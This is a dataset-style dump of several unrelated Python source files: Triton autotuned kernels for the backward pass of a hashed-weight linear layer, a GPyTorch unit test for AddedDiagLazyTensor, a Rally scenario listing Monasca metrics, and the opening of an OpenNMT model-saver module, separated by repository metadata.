'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
],
key=['M', 'N', 'K'],
)
@triton.jit
def rz_linear_backward_weight_grad_kernel_fp32(
a_ptr, b_ptr, c_ptr,
M, N, K, H,
stride_am, stride_ak,
stride_bm, stride_bn,
R3, R2, R1, R0,
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
rz_linear_backward_weight_grad_core(a_ptr=a_ptr, b_ptr=b_ptr, c_ptr=c_ptr, M=M, N=N, K=K, H=H,
stride_am=stride_am, stride_ak=stride_ak, stride_bm=stride_bm, stride_bn=stride_bn,
R3=R3, R2=R2, R1=R1, R0=R0, allow_tf32=False,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
@triton.autotune(
configs=[
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=2, num_warps=4),
], key=['M', 'N', 'K'],
)
@triton.jit
def rz_linear_backward_weight_grad_kernel_tf32(
a_ptr, b_ptr, c_ptr,
M, N, K, H,
stride_am, stride_ak,
stride_bm, stride_bn,
R3, R2, R1, R0,
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
rz_linear_backward_weight_grad_core(a_ptr=a_ptr, b_ptr=b_ptr, c_ptr=c_ptr, M=M, N=N, K=K, H=H,
stride_am=stride_am, stride_ak=stride_ak, stride_bm=stride_bm, stride_bn=stride_bn,
R3=R3, R2=R2, R1=R1, R0=R0, allow_tf32=True,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
@triton.jit
def rz_linear_backward_weight_grad_kernel_notune(
a_ptr, b_ptr, c_ptr,
M, N, K, H,
stride_am, stride_ak,
stride_bm, stride_bn,
R3, R2, R1, R0,
allow_tf32: tl.constexpr,
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
rz_linear_backward_weight_grad_core(a_ptr=a_ptr, b_ptr=b_ptr, c_ptr=c_ptr, M=M, N=N, K=K, H=H,
stride_am=stride_am, stride_ak=stride_ak, stride_bm=stride_bm, stride_bn=stride_bn,
R3=R3, R2=R2, R1=R1, R0=R0, allow_tf32=allow_tf32,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
@triton.jit
def rz_linear_backward_weight_grad_core(
a_ptr, b_ptr, c_ptr,
M, N, K, H,
stride_am, stride_ak,
stride_bm, stride_bn,
R3, R2, R1, R0,
allow_tf32: tl.constexpr,
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
pid = tl.program_id(axis=0)
num_pid_k = tl.cdiv(K, BLOCK_SIZE_K)
num_pid_n = tl.cdiv(N, BLOCK_SIZE_N)
num_pid_in_group = GROUP_SIZE * num_pid_n
group_id = pid // num_pid_in_group
first_pid_k = group_id * GROUP_SIZE
group_size_k = min(num_pid_k - first_pid_k, GROUP_SIZE)
pid_k = first_pid_k + (pid % group_size_k)
pid_n = (pid % num_pid_in_group) // group_size_k
offs_ak = pid_k * BLOCK_SIZE_K + tl.arange(0, BLOCK_SIZE_K)
offs_am = tl.arange(0, BLOCK_SIZE_M)
a_ptrs = a_ptr + offs_ak[:, None] * \
stride_am + offs_am[None, :] * stride_ak
offs_bn = pid_n * BLOCK_SIZE_N + tl.arange(0, BLOCK_SIZE_N)
offs_bm = tl.arange(0, BLOCK_SIZE_M)
b_ptrs = b_ptr + offs_bm[:, None] * \
stride_bm + offs_bn[None, :] * stride_bn
c = tl.zeros((BLOCK_SIZE_K, BLOCK_SIZE_N), dtype=tl.float32)
for _ in range(0, M//BLOCK_SIZE_M):
# This means that if M is not a multiple of BLOCK_SIZE_M,
# this will access out-of-bounds memory and produce an
# error or (worse!) incorrect results.
# TODO(Keren): Add M checks
a = tl.load(a_ptrs)
b = tl.load(b_ptrs)
# We accumulate along the M dimension
c += tl.dot(a, b, allow_tf32=allow_tf32)
# Advance the ptrs to the next M block
a_ptrs += BLOCK_SIZE_M * stride_ak
b_ptrs += BLOCK_SIZE_M * stride_bm
# -----------------------------------------------------------
# Write back the block of the output matrix C
c_offset = c_ptr + tl.arange(0, BLOCK_SIZE_K)[:, None] * \
BLOCK_SIZE_N + tl.arange(0, BLOCK_SIZE_N)[None, :]
c_ptrs = c_offset + (pid_k * R3 + pid_n * R2 +
R1) % R0 % (H - BLOCK_SIZE_K * BLOCK_SIZE_N)
tl.atomic_add(c_ptrs, c)
def rz_linear_backward_input_grad_tl(output_grad: torch.tensor, hashed_weight: torch.tensor,
M: int, K: int, N: int, H: int,
R3: int, R2: int, R1: int, R0: int,
allow_tf32: bool = True, allow_autotune: bool = True,
BLOCK_SIZE_M: int = 64, BLOCK_SIZE_N: int = 64, BLOCK_SIZE_K: int = 32,
GROUP_SIZE: int = 4) -> torch.tensor:
assert (M % 4 == 0)
assert (K % 4 == 0)
# allocates output
input_grad = torch.empty(
(M, K), device=output_grad.device, dtype=output_grad.dtype)
if allow_tf32:
assert (N % 32 == 0)
else:
assert (N % 8 == 0)
# 1D launch kernel where each block gets its own program.
def grid(META): return (
triton.cdiv(M, META['BLOCK_SIZE_M']) *
triton.cdiv(K, META['BLOCK_SIZE_K']),
)
if allow_autotune:
if allow_tf32:
rz_linear_backward_input_grad_kernel_tf32[grid](
output_grad, hashed_weight, input_grad,
M, N, K, H,
output_grad.stride(0), output_grad.stride(1),
input_grad.stride(0), input_grad.stride(1),
R3=R3, R2=R2, R1=R1, R0=R0,
GROUP_SIZE=GROUP_SIZE
)
else:
rz_linear_backward_input_grad_kernel_fp32[grid](
output_grad, hashed_weight, input_grad,
M, N, K, H,
output_grad.stride(0), output_grad.stride(1),
input_grad.stride(0), input_grad.stride(1),
R3=R3, R2=R2, R1=R1, R0=R0,
GROUP_SIZE=GROUP_SIZE
)
else:
rz_linear_backward_input_grad_kernel_notune[grid](
output_grad, hashed_weight, input_grad,
M, N, K, H,
output_grad.stride(0), output_grad.stride(1),
input_grad.stride(0), input_grad.stride(1),
R3=R3, R2=R2, R1=R1, R0=R0,
allow_tf32=allow_tf32,
num_warps=4,
num_stages=3,
BLOCK_SIZE_M=BLOCK_SIZE_M,
BLOCK_SIZE_N=BLOCK_SIZE_N,
BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE
)
return input_grad
@triton.autotune(
configs=[
# basic configs for compute-bound matmuls
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 32,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 32, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 32,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 32, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 16}, num_stages=2, num_warps=4),
],
key=['M', 'N', 'K'],
)
@triton.jit
def rz_linear_backward_input_grad_kernel_fp32(
# Pointers to matrices
a_ptr, b_ptr, c_ptr,
# Matrix dimensions
M, N, K, H,
# The stride variables represent how much to increase the ptr by when moving by 1
# element in a particular dimension.
stride_am, stride_an,
stride_cm, stride_ck,
# Random numbers
R3, R2, R1, R0,
# Meta-parameters
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
rz_linear_backward_input_grad_core(a_ptr=a_ptr, b_ptr=b_ptr, c_ptr=c_ptr,
M=M, N=N, K=K, H=H,
stride_am=stride_am, stride_an=stride_an,
stride_cm=stride_cm, stride_ck=stride_ck,
R3=R3, R2=R2, R1=R1, R0=R0,
allow_tf32=False,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
@triton.autotune(
configs=[
# basic configs for compute-bound matmuls
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=8),
triton.Config({'BLOCK_SIZE_M': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_M': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_N': 32}, num_stages=2, num_warps=4),
], key=['M', 'N', 'K'],
)
@triton.jit
def rz_linear_backward_input_grad_kernel_tf32(
# Pointers to matrices
a_ptr, b_ptr, c_ptr,
# Matrix dimensions
M, N, K, H,
# The stride variables represent how much to increase the ptr by when moving by 1
# element in a particular dimension.
stride_am, stride_an,
stride_cm, stride_ck,
# Random numbers
R3, R2, R1, R0,
# Meta-parameters
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
rz_linear_backward_input_grad_core(a_ptr=a_ptr, b_ptr=b_ptr, c_ptr=c_ptr,
M=M, N=N, K=K, H=H,
stride_am=stride_am, stride_an=stride_an,
stride_cm=stride_cm, stride_ck=stride_ck,
R3=R3, R2=R2, R1=R1, R0=R0,
allow_tf32=True,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
@triton.jit
def rz_linear_backward_input_grad_kernel_notune(
# Pointers to matrices
a_ptr, b_ptr, c_ptr,
# Matrix dimensions
M, N, K, H,
# The stride variables represent how much to increase the ptr by when moving by 1
# element in a particular dimension.
stride_am, stride_an,
stride_cm, stride_ck,
# Random numbers
R3, R2, R1, R0,
allow_tf32: tl.constexpr,
# Meta-parameters
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
rz_linear_backward_input_grad_core(a_ptr=a_ptr, b_ptr=b_ptr, c_ptr=c_ptr,
M=M, N=N, K=K, H=H,
stride_am=stride_am, stride_an=stride_an,
stride_cm=stride_cm, stride_ck=stride_ck,
R3=R3, R2=R2, R1=R1, R0=R0,
allow_tf32=allow_tf32,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
@triton.jit
def rz_linear_backward_input_grad_core(
# Pointers to matrices
a_ptr, b_ptr, c_ptr,
# Matrix dimensions
M, N, K, H,
# The stride variables represent how much to increase the ptr by when moving by 1
# element in a particular dimension.
stride_am, stride_an,
stride_cm, stride_ck,
# Random numbers
R3, R2, R1, R0,
allow_tf32: tl.constexpr,
# Meta-parameters
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
pid = tl.program_id(axis=0)
num_pid_k = tl.cdiv(K, BLOCK_SIZE_K)
num_pid_m = tl.cdiv(M, BLOCK_SIZE_M)
pid_m = pid // num_pid_k
pid_k = pid % num_pid_k
# [BLOCK_SIZE_M, BLOCK_SIZE_N]
offs_am = pid_m * BLOCK_SIZE_M + tl.arange(0, BLOCK_SIZE_M)
offs_an = tl.arange(0, BLOCK_SIZE_N)
a_ptrs = a_ptr + offs_am[:, None] * \
stride_am + offs_an[None, :] * stride_an
# [BLOCK_SIZE_N, BLOCK_SIZE_K]
# Compute hash
b_offset = b_ptr + \
tl.arange(0, BLOCK_SIZE_N)[
:, None] + tl.arange(0, BLOCK_SIZE_K)[None, :] * BLOCK_SIZE_N
b_ptrs = b_offset + (pid_k * R3 + 0 * R2 +
R1) % R0 % (H - BLOCK_SIZE_K * BLOCK_SIZE_N)
# [BLOCK_SIZE_M, BLOCK_SIZE_K]
c = tl.zeros((BLOCK_SIZE_M, BLOCK_SIZE_K), dtype=tl.float32)
for n in range(0, N//BLOCK_SIZE_N):
# Note that for simplicity, we don't apply a mask here.
a = tl.load(a_ptrs)
b = tl.load(b_ptrs)
c += tl.dot(a, b, allow_tf32=allow_tf32)
a_ptrs += BLOCK_SIZE_N * stride_an
b_ptrs = b_offset + (pid_k * R3 + (n + 1) * R2 +
R1) % R0 % (H - BLOCK_SIZE_K * BLOCK_SIZE_N)
offs_ck = pid_k * BLOCK_SIZE_K + tl.arange(0, BLOCK_SIZE_K)
offs_cm = pid_m * BLOCK_SIZE_M + tl.arange(0, BLOCK_SIZE_M)
c_ptrs = c_ptr + stride_cm * \
offs_cm[:, None] + stride_ck * offs_ck[None, :]
c_mask = (offs_cm[:, None] < M) & (offs_ck[None, :] < K)
tl.store(c_ptrs, c, mask=c_mask)
| true | true |
f7262ddf11eb39c0eb95d69c00ccbce7ab819c84 | 1,604 | py | Python | test/lazy/test_added_diag_lazy_tensor.py | cdgreenidge/gpytorch | d4cc610963bd812052e43e3aed84fb8b2ec94aa6 | [
"MIT"
] | null | null | null | test/lazy/test_added_diag_lazy_tensor.py | cdgreenidge/gpytorch | d4cc610963bd812052e43e3aed84fb8b2ec94aa6 | [
"MIT"
] | null | null | null | test/lazy/test_added_diag_lazy_tensor.py | cdgreenidge/gpytorch | d4cc610963bd812052e43e3aed84fb8b2ec94aa6 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import torch
import unittest
from gpytorch.lazy import NonLazyTensor, DiagLazyTensor, AddedDiagLazyTensor
from test.lazy._lazy_tensor_test_case import LazyTensorTestCase
class TestAddedDiagLazyTensor(LazyTensorTestCase, unittest.TestCase):
seed = 0
should_test_sample = True
def create_lazy_tensor(self):
tensor = torch.randn(5, 5)
tensor = tensor.transpose(-1, -2).matmul(tensor)
tensor.requires_grad_(True)
diag = torch.tensor([1.0, 2.0, 4.0, 2.0, 3.0], requires_grad=True)
return AddedDiagLazyTensor(NonLazyTensor(tensor), DiagLazyTensor(diag))
def evaluate_lazy_tensor(self, lazy_tensor):
diag = lazy_tensor._diag_tensor._diag
tensor = lazy_tensor._lazy_tensor.tensor
return tensor + diag.diag()
class TestAddedDiagLazyTensorBatch(LazyTensorTestCase, unittest.TestCase):
seed = 4
should_test_sample = True
def create_lazy_tensor(self):
tensor = torch.randn(3, 5, 5)
tensor = tensor.transpose(-1, -2).matmul(tensor)
tensor.requires_grad_(True)
diag = torch.tensor(
[[1.0, 2.0, 4.0, 2.0, 3.0], [2.0, 1.0, 2.0, 1.0, 4.0], [1.0, 2.0, 2.0, 3.0, 4.0]], requires_grad=True
)
return AddedDiagLazyTensor(NonLazyTensor(tensor), DiagLazyTensor(diag))
def evaluate_lazy_tensor(self, lazy_tensor):
diag = lazy_tensor._diag_tensor._diag
tensor = lazy_tensor._lazy_tensor.tensor
return tensor + torch.cat([diag[i].diag().unsqueeze(0) for i in range(3)])
if __name__ == "__main__":
unittest.main()
| 34.12766 | 113 | 0.682045 |
import torch
import unittest
from gpytorch.lazy import NonLazyTensor, DiagLazyTensor, AddedDiagLazyTensor
from test.lazy._lazy_tensor_test_case import LazyTensorTestCase
class TestAddedDiagLazyTensor(LazyTensorTestCase, unittest.TestCase):
seed = 0
should_test_sample = True
def create_lazy_tensor(self):
tensor = torch.randn(5, 5)
tensor = tensor.transpose(-1, -2).matmul(tensor)
tensor.requires_grad_(True)
diag = torch.tensor([1.0, 2.0, 4.0, 2.0, 3.0], requires_grad=True)
return AddedDiagLazyTensor(NonLazyTensor(tensor), DiagLazyTensor(diag))
def evaluate_lazy_tensor(self, lazy_tensor):
diag = lazy_tensor._diag_tensor._diag
tensor = lazy_tensor._lazy_tensor.tensor
return tensor + diag.diag()
class TestAddedDiagLazyTensorBatch(LazyTensorTestCase, unittest.TestCase):
seed = 4
should_test_sample = True
def create_lazy_tensor(self):
tensor = torch.randn(3, 5, 5)
tensor = tensor.transpose(-1, -2).matmul(tensor)
tensor.requires_grad_(True)
diag = torch.tensor(
[[1.0, 2.0, 4.0, 2.0, 3.0], [2.0, 1.0, 2.0, 1.0, 4.0], [1.0, 2.0, 2.0, 3.0, 4.0]], requires_grad=True
)
return AddedDiagLazyTensor(NonLazyTensor(tensor), DiagLazyTensor(diag))
def evaluate_lazy_tensor(self, lazy_tensor):
diag = lazy_tensor._diag_tensor._diag
tensor = lazy_tensor._lazy_tensor.tensor
return tensor + torch.cat([diag[i].diag().unsqueeze(0) for i in range(3)])
if __name__ == "__main__":
unittest.main()
| true | true |
f7262e47ccd52c7b99efed84275928088089c827 | 1,307 | py | Python | rally/plugins/openstack/scenarios/monasca/metrics.py | mail2nsrajesh/rally | d8995226fe75c573d6d64c7ade8a4ceca0758366 | [
"Apache-2.0"
] | null | null | null | rally/plugins/openstack/scenarios/monasca/metrics.py | mail2nsrajesh/rally | d8995226fe75c573d6d64c7ade8a4ceca0758366 | [
"Apache-2.0"
] | null | null | null | rally/plugins/openstack/scenarios/monasca/metrics.py | mail2nsrajesh/rally | d8995226fe75c573d6d64c7ade8a4ceca0758366 | [
"Apache-2.0"
] | null | null | null | # All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from rally import consts
from rally.plugins.openstack import scenario
from rally.plugins.openstack.scenarios.monasca import utils as monascautils
from rally.task import validation
"""Scenarios for monasca Metrics API."""
@validation.add("required_services",
services=[consts.Service.MONASCA])
@validation.add("required_platform", platform="openstack", users=True)
@scenario.configure(name="MonascaMetrics.list_metrics")
class ListMetrics(monascautils.MonascaScenario):
def run(self, **kwargs):
"""Fetch user's metrics.
:param kwargs: optional arguments for list query:
name, dimensions, start_time, etc
"""
self._list_metrics(**kwargs)
| 35.324324 | 78 | 0.722265 |
from rally import consts
from rally.plugins.openstack import scenario
from rally.plugins.openstack.scenarios.monasca import utils as monascautils
from rally.task import validation
@validation.add("required_services",
services=[consts.Service.MONASCA])
@validation.add("required_platform", platform="openstack", users=True)
@scenario.configure(name="MonascaMetrics.list_metrics")
class ListMetrics(monascautils.MonascaScenario):
def run(self, **kwargs):
self._list_metrics(**kwargs)
| true | true |
f7262f0f2023d57b85b341ec89f31256cc3f6c36 | 4,563 | py | Python | onmt/models/model_saver.py | UKPLab/emnlp2019-dualgraph | da38be675c392af43db436e3b2f0c8ff355c04f9 | [
"MIT"
] | 25 | 2019-09-05T07:57:45.000Z | 2021-12-08T01:59:57.000Z | onmt/models/model_saver.py | 15071347094/emnlp2019-dualgraph | 0c58fb7f3ad3b9da3b92b2d2841558807fc79fd0 | [
"MIT"
] | 2 | 2020-11-21T00:41:44.000Z | 2020-11-25T00:36:19.000Z | onmt/models/model_saver.py | 15071347094/emnlp2019-dualgraph | 0c58fb7f3ad3b9da3b92b2d2841558807fc79fd0 | [
"MIT"
] | 6 | 2020-01-27T22:54:56.000Z | 2020-11-24T02:48:05.000Z | import os
import torch
import torch.nn as nn
from collections import deque
from onmt.utils.logging import logger
from copy import deepcopy
def build_model_saver(model_opt, opt, model, fields, optim):
model_saver = ModelSaver(opt.save_model,
model,
